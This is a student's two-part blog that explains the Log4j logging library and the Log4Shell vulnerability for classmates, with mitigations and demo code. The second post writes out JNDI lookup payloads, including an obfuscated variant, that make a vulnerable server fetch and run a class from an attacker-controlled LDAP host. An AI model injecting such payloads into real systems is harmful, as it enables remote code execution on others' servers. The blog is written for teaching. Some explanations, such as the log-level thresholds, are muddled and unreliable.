Blog Post #2 – How Did Log4j Attack Organizations?

Table of Contents

Welcome back, classmates, instructors, future employers?! and random lurkers! Here I present to you, another installment of my Log4j blog series. In my previous blog, you learned what Log4j is. Today, you get to learn about how Log4j was used to attack organizations. Very exciting stuff!

Recap

It has been awhile since you visited my first blog post on Log4j, so let’s review what we learned.

You received a crash course on what Log4j is and a brief demo on how the Log4j code is structured. We have had a lot going on since we last discussed Log4j together, so I’ll give you the too long didn’t read version of the recap below, to quickly bring you back up to speed on Log4j. That way you can impress your new security instructor Nermine with your vast Log4j knowledge. Grab a beer my friend, and let’s get going!

PLEASE NOTE: If you’re feeling good about your Log4j smarts, you can skip straight to the new material in the table of contents at the top of the screen. If you need a refresher, then disregard this and carry on.

What is Log4j?

We previously discussed that Log4j is a popular Java-based logging utility that is a part of Apache Logging Services, which is one of many projects under the Apache Software Foundation (ASF). Log4j is widely used for logging messages on your code to a file when something goes wrong in your program. The file contains error messages and debug messages that can be referenced by a developer for troubleshooting purposes.

Additional context

We also discussed how Log4j is similar to the ever-familiar System.out.println(); statement. While System.out.println(); outputs to a console window, Log4j can output to a console as well, but it can also output to a log file, a database table or an email server to name a few places.1

Built-in log levels

Another feature of Log4j that we discussed were the built-in log levels and messages, ranked in order starting from the least severe message to the most:

ALL, TRACE, DEBUG, INFO, WARN, ERROR, FATAL and OFF.

Custom log levels

Developers can make use of the built-in log levels, or they can create their own as Log4j allows us to define our own custom levels. We noted that you can define a custom level in code, or you can do it in XML configuration. Either way works fine as long as you remember to define the level before using it – seems simple enough, but you know how it goes…

JNDI

When we left off, I had briefly introduced the Java Naming and Directory interface (JNDI) to you. To quickly recap, we established that JNDI is an application programming interface (API) that provides naming and directory functionality to applications written using Java. JNDI isn’t Log4j, but is a feature that’s included in the Java SDK. In order to use JNDI, you need to download at least one service provider; one example of a service provider that works with JNDI is Lightweight Directory Access Protocol (LDAP). JNDI performs lookups, which is a capability that Log4j supports. In simple terms, we can add a lookup (non-malicious) to a log message. A Java application can also use JNDI and its service to retrieve an object with data it needs.

Eureka…???..!!…?!

Is it all coming back now? If you said no, then I don’t blame you. Let’s keep humming along on our journey of learning *heh*, and venture into today’s topic: how did Log4j attack organizations’ systems? Even more exciting, today’s demo will show you how to run Log4j on your system. I will also show you in a very bare bones way how the Log4j hack was perform. You’ll be able to follow along with the set-up process and get it going on your own system.

Let’s get to it!

Basic Facts on the Log4j vulnerability

The Log4j vulnerability was publicly disclosed on Thursday, December 9th 2021. It was discovered by a researcher from the Alibaba Cloud Security Team. The Log4j vulnerability was assigned the CVE identifier of CVE-2021-44228 by the Mitre Corporation. For those who don’t yet know, CVE stands for Common Vulnerabilities and Exposures. If a vulnerability is a publicly known security flaw, it will be assigned a CVE identifier so it can be easily referenced, and information on it can be easily shared. It is a system that is maintained by the Mitre Corporation, which is an American not-for-profit organization. Mitre manages federally funded research and development centres which support various American government agencies; cybersecurity is one of them.2 You may see CVE identifiers in your job even if you aren’t working in security, so it’s good to have a basic knowledge of what it is.

What is Log4Shell?

Up to now, I’ve referred to the security flaw with Log4j as the Log4j vulnerability. Now, if you were to discuss this with IT or computer security professionals, you may hear it referred to as Log4Shell. This was the official name it was given, and according to one of my favourite YouTube channels Java Brains, that’s because anyone could open a shell on any server and issue commands.3

CVSS Score

As you’ve heard, Log4Shell was an incredibly serious vulnerability. It was rated a 10 in the CVSS scoring system – yet another acronym you get to learn today! CVSS stands for Common Vulnerability Scoring System. These scores are used by security teams as a way to compare vulnerabilities to one another as a triage system of sorts, so vulnerabilities that are a higher priority on the list will get fixed sooner. CVSS scores range from 0-10, where 10 is critical. Hopefully now, some of the urgency surrounding Log4Shell is starting to become more clear.

I know that Log4Shell is serious, but why?

So, the biggest issue with Log4Shell was the remote code execution (RCE). Interestingly, this was first discovered in the game Minecraft. A community forum discovered the vulnerability after a user sent an RCE exploit to a friend’s server, which successfully executed.4 This was concerning to businesses because the same code format could be used to attack servers running vulnerable applications. And even more concerning is that it’s more common for organizations to use the Log4j library in their applications rather than not use it. The organization Snyk estimated that 39.2% of Java applications directly use a Log4j library, and 60.8% indirectly use Log4j, perhaps through a library that then utilizes part of the Log4j library. Another estimate pegged the number of affected devices at three billion.5 And with the simplicity of the malicious code that was needed to execute the attack, it became imperative to patch the vulnerability especially when it was made public – it wasn’t just a distant risk from state-level hackers that could create mayhem, but lower level hackers could throw their hat in the ring and give the attack a go as well.

Log4j versions

The versions of Log4j that were affected by this RCE attack were Apache Log4j2 versions 2.0-beta7 through 2.17.0.6 If you’re already running Log4j on your system, then you won’t be vulnerable to this attack as long as you upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).

More excitement

Just when you thought you could relax and move on to your neighbour’s cat drama (don’t ask), another Log4j vulnerability was discovered! This exploit was assigned the CVE identifier of CVE 2021-45046. It was discovered shortly after the first vulnerability on December 16, 2021, and was the result of an incomplete patch for the first vulnerability.7 This exploit allowed attackers to create malicious input data using a JNDI (remember this?!) lookup pattern so they could launch denial-of-service attacks. The patch for this attack removed support for message lookup patterns, and disabled JNDI functionality.8

LDAP and JNDI

I introduced JNDI and LDAP briefly at the beginning of the blog, and you’re probably still wondering what exactly they are. Allow me to explain them now with some more detail. So, LDP stands for Lightweight Directory Access Protocol. It is a cross platform protocol used for directory services authentication. Basically, LDAP provides the communication language that applications use to communicate with other directory services servers. User information such as passwords are stored in directory services, which then share that information with other entities on the network.9

If you’re still having a tough time understanding JNDI and LDAP, that’s OK, let me give you an analogy that may feel more familiar. I found this explanation on computerworld.com and I’ll note it here verbatim (you can find the article in my sources). The article quoted was written by Sameer Tyagi:10

“JNDI does for LDAP what JDBC does for Oracle — it provides a standard API for interacting with naming and directory services using a service provider interface (SPI), which is analogous to an JDBC driver. LDAP is a standard way to provide access to directory information. JNDI gives Java applications and objects a powerful and transparent interface to access directory services like LDAP.”

I hope that makes a bit more sense, and you have a better grasp of JNDI and LDAP. In short: JNDI can be used to retrieve an object with needed data, and LDAP is a communication language.

What does the code look like?

Enough with the theory, so let’s see what the attack code would look like.

*Drumroll*

Tada!

This is it:

${jndi:ldap://domain.com/hackerman}

It’s literally that simple. Note: the domain is the attacking server’s domain, and hackerman is the Java class where the code will be executed from.

Let’s walk through the steps of the attack: the attacker would insert this lookup in a request that is likely to be logged. Then, it’s passed to Log4j for logging. Next, Log4j essentially accepts it and queries the malicious LDP server. And finally, the server responds with the malicious information and the malicious Java class is downloaded and executed.

Log4j makes frequent use of lookups. Here are some other examples of lookups that would have been possible to exploit. If you remember expression language (EL) from our CPRG352 web applications class, they’ll feel familiar:

${env:PATH}

${env:USER}

${env:HOSTNAME}

${java:version}

${sys:os.name}

If you remember the XML configuration from my first blog post, here is an example of what it would look like with an environment variable included. This example is from apache.org11:

  • <File name=”Application” fileName=”application.log”>
  • <PatternLayout>
  • <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
  • </PatternLayout>
  • </File>

There are other pieces of code that could be used for attacks. For the purposes of this blog I’ve kept it simple, but in case you’re curious (of course you are!) here’s another example that can be manipulated to initiate an attack:12

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//hackerman.ca/}

Video

On to the even more exciting stuff before we wrap things up; please see my video below for a demonstration on how to set up and run Log4j on a basic Java program. I will also walk you through (in a very basic way) how the Log4j hack was performed.

Resolving Security Vulnerabilities

If you find yourself working at an organization where for whatever reason it isn’t possible to update a library like Log4j, you can have a workaround patch. In the case of Log4j, if users couldn’t upgrade their library, then Apache recommended users could either add -Dlog4j.formatMsgNoLookups=true as a command-line option or add log4j.formatMsgNoLookups=true to a log4j2.component.properties file on the classpath to prevent lookups in log event messages. Users could also specify %m{nolookups} in the PatternLayout configuration to prevent lookups in log event messages. Remove the JndiLookup and JndiManager classes from the log4j-core jar.13 I just wanted to note that because on the individual level we can simply download the patch for our system, but at the enterprise level, things can be a bit more complex.

Parting words

Log4Shell is nowhere near the first security vulnerability to exist, and it sure won’t be the last. When moving on to your fruitful and highly successful career in Software Development, always approach your work with a security mindset – stay curious, and always seek out new knowledge (just don’t burn yourself out). It has been wonderful learning more about Log4j and having the opportunity to teach you more about my newfound knowledge. I hope despite your crazy schedule, you’ve also learned something new. I wish you the utmost happiness and success in your future career and throughout your life, whoever you may be.

Sources

If you would like to learn more about Log4j or just want to pay a visit to some of my sources for this blog post, please see the links below:

1 http://www.avajava.com/tutorials/lessons/what-is-log4j-and-how-do-i-use-it.html?page=1

2 https://en.wikipedia.org/wiki/Mitre_Corporation

3 https://www.youtube.com/watch?v=uyq8yxWO1ls&t=425s

4 https://www.netizen.net/news/post/2996/log4j-the-minecraft-found-java-fueled-nightmare

5 https://www.medtechdive.com/news/fda-warns-log4j-cybersecurity-risks-medical-devices/611773/

6 https://logging.apache.org/log4j/2.x/security.html

7 https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45046/

8 https://www.csoonline.com/article/3645431/the-apache-log4j-vulnerabilities-a-timeline.html

9 https://www.varonis.com/blog/the-difference-between-active-directory-and-ldap

10 https://www.computerworld.com/article/2076073/ldap-and-jndi–together-forever.amp.html

11 https://logging.apache.org/log4j/2.x/manual/lookups.html

12 https://tryhackme.com/room/solar

13 https://www.secureworld.io/industry-news/tracking-the-start-of-the-log4j-vulnerability

Image 1: https://www.reddit.com/r/ProgrammerHumor/comments/rdr5pf/its_been_a_rough_week/

Image 2: https://blog.voina.org/my-log4j-meme-collection/

Extra source that I didn’t use, but seems interesting:

BONUS https://www.freecodecamp.org/news/java-log4jshell-vulnerability/

Video code

Log4j download (binary zip for Windows laptop):

https://logging.apache.org/log4j/2.x/download.html

Java class:

import org.apache.logging.log4j.*;
public class Log4jDemo {
static Logger name = LogManager.getLogger(Log4jDemo.class);
public static void main(String[] args) {
System.out.println(“Hello”);
name.fatal(“Fatal message”); // 100
name.error(“Error message”); // 200
name.warn(“Warn message”); // 300
name.info(“Info message”); // 400
name.debug(“Debug message”); // 500
name.trace(“Trace message”); // 600
}
}

Default XML file:

<?xml version=”1.0″ encoding=”UTF-8″?>
<Configuration status=”WARN”>
<Appenders>
<Console name=”Console” target=”SYSTEM_OUT”>
<PatternLayout pattern=”%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg%n”/>
</Console>
</Appenders>
<Loggers>
<Root level=”error”>
<AppenderRef ref=”Console”/>
</Root>
</Loggers>
</Configuration>

XML file for log files:

<?xml version=“1.0” encoding=”UTF-8″?>
<Configuration status=“WARN”>
<Properties>
<Property name=“filename”>./logfilesyay</Property>
</Properties>
<Appenders>
<Console name=“Console” target=”SYSTEM_OUT”>
<PatternLayout pattern=“%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg%n”/>
</Console>
<RollingFile name=“thisismyfile” fileName=”${filename}/loginfohere.log”
filePattern=“${filename}/loginfohere.log”>
<PatternLayout>
<pattern>%d %p %c{1.} [%t] %m%n</pattern>
</PatternLayout>
<SizeBasedTriggeringPolicy size=“1 KB” />
</RollingFile>
</Appenders>
<Loggers>
<Root level=“trace”>
<AppenderRef ref=“Console”/>
<AppenderRef ref=“thisismyfile”/>
</Root>
</Loggers>
</Configuration>

Blog Post #1 – What is Log4j?

This past December, while most of us students were locked away in our respective programmer caves hard at work learning that week’s topic in Java, or sipping coffee and grinding out our latest paper with fellow capstone group mates for our systems analysis and design class – all in preparation for the welcomed but chaotic end of the semester – organizations and cybersecurity professionals everywhere were frantically scrambling to manage and contain an attack that had seemingly snuck up on everybody overnight. That my friends, was the Apache Log4j Security Vulnerability.

You might know what happened with the Log4j vulnerability, or you might be like me where a comprehensive awareness of the outside world takes a pause when assignments and exams are the top priority. If that is the case, grab a beer and sit back as I walk you through Log4j – what Log4j is and how it’s intended to be used in normal circumstances. You’ll have to stay tuned for my second blog post that will explain how attackers were able to manipulate it to serve their malicious purposes. For this blog post I will also do a video demonstration to give you a hands-on activity that shows you how Log4j works when we’re not harnessing it for evil muahahaha

If you’ve stuck with me so far and are still interested in learning more about Log4j, then let’s get to it!

What is Log4j?

Your first introduction to Log4j may have been through the frantic news reports or social media posts that were circulating on the cyber attack like it was the only thing happening in the world (OK, that might be a slight exaggeration, but it was still widely reported). Aside from knowing the name “Log4j” and that it was used to attack organizations, you probably couldn’t explain much beyond that if you had a conversation with your security instructor John. Well, let’s change that so you can impress him with your newfound knowledge.

On a fundamental level, Log4j is a popular Java-based logging utility. It is a part of Apache Logging Services, which is one of many projects of the Apache Software Foundation (ASF)1. Just a side note for those who might not be aware – the ASF is a nonprofit organization that supports open source software projects, and developers including you and I can contribute code to their projects. There are currently over 350 projects running at the ASF, and Log4j is one of them. So back to what Log4j is – this Java logging framework is widely used for logging messages on your code to a file when something goes wrong in your program. The file contains error messages and debug messages that can be referenced by a developer for troubleshooting purposes.

To give you a relatable example of what it is, Log4j is similar to the System.out.println(); statement. While System.out.println(); outputs to a console window, Log4j can output to a console as well, but it can also output to a log file, a database table or an email server to name a few places.2 Pretty nifty eh?

Built-in log levels and messages

Another neat feature of Log4j are the built-in log levels and messages. I’ve ranked the levels in order starting from the least severe message to the most, and included a brief description as well as the integer value (more on that later) of the level:3

ALL – This level logs everything at literally every level, including with the custom levels. It turns on all logging. Integer value of Integer.MAX_VALUE.

TRACE – Here, you will find details in the log that explain what is happening in your application while the different steps take place. This level produces a lot of information, so it can be a bit overwhelming for the developer reading through the log. Integer value of 600.

DEBUG – You will find detailed information at this level that helps with diagnosing or troubleshooting an application. It will not be as detailed or overwhelming as at the TRACE level. Integer value of 500.

INFO – Information logged under this message does not typically require a follow up – a message logged here could be the result of something as mundane as a startup or shutdown of a database attached to the application. Integer value of 400.

WARN – You will find this message used when you have an unexpected problem in your application. An example of an issue could be the use of deprecated APIs or just a poor use of API. Integer value of 300.

ERROR – At this level it does not necessarily mean the application is terminating, but the problem could be a runtime error. Integer value of 200.

FATAL – Here, you will find severe errors that will cause the application to terminate. A likely cause is a critical function not working. Integer value of 100.

OFF – This is the granddaddy of all the built-in logging levels! It does not log anything, and is used to turn off logging. Integer value of 0.

What is an integer value in the context of Log4j?

An integer value is pretty simple: one int value represents each level of the built-in log messages. The log levels are ordered based on their int value. So, if we were to set the log level to 400, then any log message with a value that is greater than 400 will be logged in our log files. In this case, 400 belongs to INFO, so we will log files from INFO, DEBUG and TRACE, but not WARN, ERROR or FATAL. ALL will run regardless of your chosen level.4

What is a custom logging message?

Developers can make use of the built-in log levels, or we can get creative and make our own custom levels. Two of the ways that I’ll discuss where we can define a custom level are in code and in XML configuration.

In order to define a custom log level in code, you will use a method that creates a new level for your chosen name – this method is called the Level.forName() method. In this method, you will input a name that is a string (let’s use ATTENTION as our custom level’s name) and an integer level. The level you choose will depend on where you would like the custom level to fit in compared to the built-in log levels. If you were to choose a level of 350 for your custom log level, your custom log message will fit in between the built-in log messages WARN (300) and INFO (400). Just a side note: Log4j allows you to limit the output to specific logging messages in your code; this means that you can choose to log errors at FATAL – remember it was at level 100 – and DEBUG which was at level 500, but nothing else. If you don’t define the exact messages you would like outputted, then using our example of ATTENTION, your application will log messages with an int value less than 350; if you remember the order of severity of the built-in log messages, those logged will be WARN, ERROR and FATAL. Once you have defined your new log level, you can call the Logger.log() method where you can log messages at this level by passing in the custom log level.

Custom log level in XML configuration

We discussed the defining of a custom log level in code fairly in-depth above. We can also define a custom log level in XML configuration. It is similar to defining a custom level in code, where a custom level has to be defined before it is used. If you were to try to configure a logger with a level that has not yet been defined, then it won’t process any events.

In XML configuration, you will use a <CustomLevel> element to create a custom level. In it you will define the name of the custom log message, which could be ATTENTION like in our example above, and the intLevel. This element serves the same purpose as the Level.forName() method explained above.

If you’re a visual person like me and would like to see code examples of the log levels in code and in XML configuration, please reference my video:

By now, you should have a better idea of what Log4j is and an introduction to what it is used for in normal circumstances. Fundamentally, it is a Java logging utility that is very widely used. Before I let you go on your merry way, I would like to introduce the term “Java Naming and Directory interface” (JNDI) to you. The JNDI will be relevant in my next blog post that will outline how attackers were able to use the powers of Log4j to wreak havoc on organizations.

What is a Java Naming and Directory interface (JNDI)?

According to Oracle, JNDI is an application programming interface (API) that provides naming and directory functionality to applications written using Java.5 JNDI isn’t Log4j, but is a feature that’s included in the Java SDK. In order to use JNDI, you need to download at least one service provider; one example of a service provider that works with JNDI is Lightweight Directory Access Protocol (LDAP). JNDI performs lookups, which is a capability that Log4j supports. In simple terms, we can add a lookup (non-malicious) to a log message – perhaps you can see where this is going. A Java application can also use JNDI and its service to retrieve an object with data it needs. This is a basic explanation of what JNDI is to get you acquainted with the term – I’ll teach you more about it and how it was used for evil in my next blog post.

We’ve reached the end of our introduction to Log4j! Now that you have a better idea of what Log4j is and how it’s meant to be used in normal circumstances, you’ll be in a great position to understand how it was used for malicious purposes. Stay tuned for my next blog post that will delve into the details of the Log4j vulnerability.

Sources

If you would like to learn more about Log4j or just want to pay a visit to some of my sources for this blog post, please see the links below:

1 https://en.wikipedia.org/wiki/Log4j

2 http://www.avajava.com/tutorials/lessons/what-is-log4j-and-how-do-i-use-it.html?page=1

3 https://en.wikipedia.org/wiki/Log4j

3 https://www.section.io/engineering-education/how-to-choose-levels-of-logging/

4 https://howtodoinjava.com/log4j2/logging-levels/

5 https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html

6 https://logging.apache.org/log4j/2.x/manual/configuration.html